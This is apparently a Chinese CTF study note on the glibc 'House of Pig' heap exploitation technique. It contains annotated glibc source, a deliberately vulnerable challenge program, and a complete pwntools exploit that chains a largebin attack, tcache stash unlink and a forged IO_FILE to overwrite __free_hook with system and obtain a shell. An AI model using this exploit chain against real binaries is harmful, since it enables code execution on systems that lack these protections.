【我的 PWN 学习手札】House of Pig

ops/2025/3/15 4:21:05/

House Of Pig

House of Pig是利用tcache stash unlinklargebin attack攻击IO_FILE共同实现的一种手法,一般来说利用得到的任意地址写能力往hook上写数据,从而完成对程序流的劫持。

一、关键源码分析:_IO_str_overflow

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_str_finish),JUMP_INIT(overflow, _IO_str_overflow),JUMP_INIT(underflow, _IO_str_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_str_pbackfail),JUMP_INIT(xsputn, _IO_default_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_str_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_default_setbuf),JUMP_INIT(sync, _IO_default_sync),JUMP_INIT(doallocate, _IO_default_doallocate),JUMP_INIT(read, _IO_default_read),JUMP_INIT(write, _IO_default_write),JUMP_INIT(seek, _IO_default_seek),JUMP_INIT(close, _IO_default_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};int
_IO_str_overflow (FILE *fp, int c)
{int flush_only = c == EOF;size_t pos;if (fp->_flags & _IO_NO_WRITES)return flush_only ? 0 : EOF;if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)){fp->_flags |= _IO_CURRENTLY_PUTTING;fp->_IO_write_ptr = fp->_IO_read_ptr;fp->_IO_read_ptr = fp->_IO_read_end;}pos = fp->_IO_write_ptr - fp->_IO_write_base;if (pos >= (size_t) (_IO_blen (fp) + flush_only)){if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */return EOF;else{char *new_buf;char *old_buf = fp->_IO_buf_base;size_t old_blen = _IO_blen (fp);  //扩展到:((fp)->_IO_buf_end - (fp)->_IO_buf_base)size_t new_size = 2 * old_blen + 100;if (new_size < old_blen)return EOF;new_buf = malloc (new_size);   // malloc(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)if (new_buf == NULL){/*	  __ferror(fp) = 1; */return EOF;}if (old_buf){memcpy (new_buf, old_buf, old_blen);  // old_buf 内容复制到 new_buf 中free (old_buf);                       // free/* Make sure _IO_setb won't try to delete _IO_buf_base. */fp->_IO_buf_base = NULL;}memset (new_buf + old_blen, '\0', new_size - old_blen);_IO_setb (fp, new_buf, new_buf + new_size, 1);fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);fp->_IO_write_base = new_buf;fp->_IO_write_end = fp->_IO_buf_end;}}if (!flush_only)*fp->_IO_write_ptr++ = (unsigned char) c;if (fp->_IO_write_ptr > fp->_IO_read_end)fp->_IO_read_end = fp->_IO_write_ptr;return c;
}
libc_hidden_def (_IO_str_overflow)

可以看到,在_IO_str_overflow中,进行了mallocmemcpyfree操作。设想一下,如果我们在malloc中能够申请到__free_hook附近的fake chunk,通过在old_buf中布置好合适数据,通过memcpy__free_hook上写入地址,则在free环节就会劫持程序流到目标地址。最简单直接的,如果写入是=system的地址,并在old_buf中布置合适的"/bin/sh\x00"字符串,就可以getshell

二、回顾tcache stash unlink

较高版本的glibc已经引入tcache,而我们知道,calloc函数并不会在tcache中申请堆块。其中一种利用手法是tcache stash unlink

static void *
_int_malloc(mstate av, size_t bytes)
{
...if (in_smallbin_range(nb)){idx = smallbin_index(nb);bin = bin_at(av, idx);if ((victim = last(bin)) != bin){bck = victim->bk;if (__glibc_unlikely(bck->fd != victim))malloc_printerr("malloc(): smallbin double linked list corrupted");set_inuse_bit_at_offset(victim, nb);bin->bk = bck;bck->fd = bin;if (av != &main_arena)set_non_main_arena(victim);check_malloced_chunk(av, victim, nb);
#if USE_TCACHE/* While we're here, if we see other chunks of the same size,stash them in the tcache.  */size_t tc_idx = csize2tidx(nb);if (tcache && tc_idx < mp_.tcache_bins){mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks over.  */while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin){if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset(tc_victim, nb);if (av != &main_arena)set_non_main_arena(tc_victim);bin->bk = bck;bck->fd = bin;tcache_put(tc_victim, tc_idx);}}}
#endifvoid *p = chunk2mem(victim);alloc_perturb(p, bytes);return p;}}
...
}

当从smallbin中取出chunk时, /* While bin not empty and tcache not full, copy chunks over. */,如果对应大小的tcachebin尚有空闲位置,且smallbin中仍有多余chunk则会将smallbin中这部分多余的chunk转移到tcachebin中,即stash

我们可以看到,除了对取出的victim chunk有双向链表的检查外,在stash部分,即:

          if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset(tc_victim, nb);if (av != &main_arena)set_non_main_arena(tc_victim);bin->bk = bck;bck->fd = bin;tcache_put(tc_victim, tc_idx);}

中,只对双向链表结构的smallbin中的chunk进行了unlink操作,然后就直接被tcache_put插入到tcachebin中,而**没有对双向链表的检查!**这意味着如果我们修改smallbinchunkbk指针,就可能将fake chunk引入到tcachebin中,实现任意地址malloc

三、总结利用要求、条件与方法

(在比如程序中没有显示malloc只有calloc的条件下)我们期望什么,如何利用?“思考”总是一个逆过程:

  1. 能够利用_IO_str_overflowmallocmemcpyfree写入并触发__free_hook劫持程序执行流

实现上述目标需要:

  • 能够跳转到或触发_IO_str_overflow函数
  • 需要控制好IO_FILE结构体的成员满足mallocmemcpy的参数要求
  1. 因此,需要__free_hook附近的一块fake chunk,需要劫持控制IO

实现上述目标需要:

  • 通过tcache stash unlink获得__free_hook附近的fake chunk
  • 通过largebin attack劫持_IO_list_all,并申请出fake file,布置合适的结构体成员并将vtable指向_IO_str_jumps

四、模板题与解法

pwnc_194">(一)模板题源码pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = calloc(1, size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

(二)利用过程与exp

largebin attack__free_hook所在fake chunkbk指针域写上一个可写内存(堆地址),从而满足tcache stash unlink时内存修改的可写要求。在这个过程中泄露出libcheap base

# leak libc & heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)delete(2)
delete(0)show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfffedit(2, b'a')
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + u8(b'a'))
edit(2, b'\x00')
success("heap base: " + hex(heap_base))
success("libc base: " + hex(libc.address))

在这里插入图片描述

然后进行largebin attack__free_hook附近的fake_chunk构造具有可写的指针;劫持_IO_list_all

# largebin attack
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['__free_hook'] - 0x20 - 0x8))
delete(0)
add(0, 0x408)edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(0,0x408)
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(heap_base+0x6d0)*2)
add(2,0x428)  # _IO_list_all -> addr(chunk2)

在这里插入图片描述

布置tcache stash unlinktcachebin中放5个chunksmallbin中放两个chunk,并篡改stashchunkbk指针

# tcache stash unlink
for i in range(10,15):add(i,0x100)for i in range(10,15):delete(i)
add(20,0x410)
add(21,0x18)
add(22,0x410)
add(23,0x18)
delete(20)
delete(22)
add(20,0x300)
add(22,0x300)
add(24,0x418)
edit(22,0x300*b'\x00'+p64(0)+p64(0x111)+p64(heap_base+0x17c0)+p64(libc.sym['__free_hook']-0x20))
add(25,0x100)
# gdb.attach(io,"b _int_malloc\nc")
pause()

(这里没暂停到,再次运行了libc基址变了,特此说明)

在这里插入图片描述

然后在申请出来的largebin chunk上,也即_IO_list_all指向的fake_file,布置数据:

fake_file_addr = heap_base + 0x6d0
fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0)  # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2))  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(IO_str_jumps)  # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libc.sym['system'])
edit(2,fake_file)

结果便是:

pwndbg> p *(struct _IO_FILE_plus*)_IO_list_all 
$2 = {file = {_flags = 0,_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,_IO_read_end = 0x0,_IO_read_base = 0x0,_IO_write_base = 0x0,_IO_write_ptr = 0x7dc24b37a370 <__libc_system> "\363\017\036\372H\205\377t\a\351\262\372\377\377f\220H\203\354\bH\215=\321\305\023",_IO_write_end = 0x0,_IO_buf_base = 0x592df02fd7b0 "/bin/sh",_IO_buf_end = 0x592df02fd802 "",_IO_save_base = 0x0,_IO_backup_base = 0x0,_IO_save_end = 0x0,_markers = 0x0,_chain = 0x7dc24b4ed6c0 <_IO_2_1_stdout_>,_fileno = 2,_flags2 = 0,_old_offset = -1,_cur_column = 0,_vtable_offset = 0 '\000',_shortbuf = "\n",_lock = 0x7dc24b4ef560 <fork_handlers+64>,_offset = -1,_codecvt = 0x0,_wide_data = 0x7dc24b4ed560 <_nl_global_locale+160>,_freeres_list = 0x0,_freeres_buf = 0x0,__pad5 = 0,_mode = -1,_unused2 = '\000' <repeats 19 times>},vtable = 0x7dc24b4ee560 <_IO_str_jumps>
}

退出时flush触发overflow (_IO_str_jumps),进入利用链。getshell

在这里插入图片描述


http://www.ppmy.cn/ops/165843.html

相关文章

前端学习笔记(三)——ant-design vue表单传递数据到父页面

前言 善用AI&#xff0c;快速解决定位 原理 a-form所在的SFC&#xff08;单文件&#xff09;vue中需要将表单数据传递给父页面SFC文件中&#xff0c;使用emit方法 代码 子组件&#xff08;Form.vue&#xff09; <template><a-form submit"handleSubmit&qu…

Redis 设置密码(配置文件、docker容器、命令行3种场景)

现在没有配置密码的 Redis&#xff0c;一般来说&#xff0c;已经被很多安全检测系统视为漏洞和问题了&#xff0c;官方的 Redis 默认是关闭密码的&#xff0c;如果需要设置密码&#xff0c;目前应用场景来说可以分为三种&#xff0c;如下&#xff1a; 1、基于配置文件的 通过…

用 Vue 3.5 TypeScript 做了一个日期选择器(改进版)

上一篇 已经实现了一个日期选择器&#xff0c;只不过是模态窗的形式&#xff0c;这个版本改为文本框弹出&#xff0c;点击空白处可关闭日历 代码也增加了不少 <template><div><!-- 添加文本框 --><div class"date-picker-input-wrapper">&l…

Java 实现 Android ViewPager2 顶部导航:动态配置与高效加载指南

Java 实现&#xff1a;明确使用的编程语言。Android ViewPager2&#xff1a;技术栈和核心组件。顶部导航&#xff1a;功能点。动态配置与高效加载指南&#xff1a;突出动态配置的灵活性和性能优化的重点。 在 Android 中使用 Java 实现 ViewPager2 和 TabLayout 的顶部导航也是…

【前端】如何在HTML中调用CSS和JavaScript(完整指南)

文章目录 前言一、HTML调用CSS1. 内联样式&#xff08;Inline Style&#xff09;2. 内部样式表&#xff08;Internal Stylesheet&#xff09;3. 外部样式表&#xff08;External Stylesheet&#xff09; 二、HTML调用JavaScript1. 内联脚本&#xff08;Inline Script&#xff0…

C语言数据结构:数组

1. 数组&#xff08;Array&#xff09; 1.1 定义 数组是一种线性数据结构&#xff0c;由相同类型的元素组成&#xff0c;这些元素在内存中按顺序存储。数组的大小在声明时确定&#xff0c;且不可动态改变。 1.2 类型细分 根据维度和用途&#xff0c;数组可以分为以下几种类型…

Spring BOOT 启动参数

Spring BOOT 启动参数 在Java Web的开发完成后&#xff0c;以前我们都会打包成war文件&#xff0c;然后放大web容器&#xff0c;比如tomcat、jetty这样的容器。现在基于SpringBoot开发的项目&#xff0c;我们直接打包成jar文件&#xff0c;基于内嵌的tomcat来实现一样的效果。…

蓝桥杯第三天:2023蓝桥杯省赛 第 1 题

1、总价格要开 long 数据类型 2、直接贪心就行&#xff08;优先找当前价格最贵的两个&#xff0c;然后再找当前能赠的价格最高的&#xff09;&#xff0c;找赠品的时候记得用二分&#xff08;不然超时&#xff09; 3、贪心不总是能找到最优解&#xff0c;但不能找最优解的情况…